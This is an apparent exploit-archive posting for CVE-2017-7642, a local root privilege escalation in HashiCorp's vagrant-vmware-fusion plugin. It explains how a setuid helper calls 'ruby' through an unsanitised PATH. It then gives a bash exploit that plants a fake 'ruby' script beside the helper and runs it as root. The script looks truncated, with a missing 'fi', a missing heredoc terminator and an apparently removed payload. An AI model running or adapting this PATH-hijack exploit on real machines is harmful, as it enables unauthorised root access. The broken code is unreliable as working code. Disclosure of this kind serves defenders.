Hashicorp vagrant-vmware-fusion 4.0.20 Privilege Escalation

Hashicorp vagrant-vmware-fusion versions 4.0.20 and below suffer from a local root privilege escalation vulnerability.

MD5 | fa75f3b5ac8d64b6fe452388903fb02d

CVE-2017-7642 Local root privesc in Hashicorp vagrant-vmware-fusion <= 4.0.20

15 Jul 2017 06:57

I'm a big fan of Hashicorp but this is an awful bug to have in software of their

Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to
protect their proprietary ruby code. It does this by turning the ruby code into
bytecode and executing it directly.

Unfortunately the execution chain necessary for this to work is not safe. After
installing the plugin, the first time you "vagrant up" any vagrant file using
vmware fusion it will create some files in


The first one is an encoded ruby script, the others are "sudo helper" binaries
for the different platforms supported by the plugin. Of these sudo helpers,
the one that corresponds to your platform will be made suid root when vagrant up
is run.

Unfortunately the helper calls the ruby script with system("ruby <script path>")
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the
PATH variable either. We can easily exploit this to get root.

Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.

The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.

The exploit below is for darwin 64bit but it's likely other architectures are
also vulnerable.



vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`

if [ "$vuln_bin" == "" ] ; then
echo "Vulnerable binary not found."
exit 1

dir=`dirname "$vuln_bin"`

cd "$dir"

cat > ruby <<EOF
echo "************************************************************************"
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"
echo "* plugin, by m4rkw *"
echo "************************************************************************"
echo "Shout out to #coolkids o/"
exit 0

chmod 755 ruby

VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64


Related Posts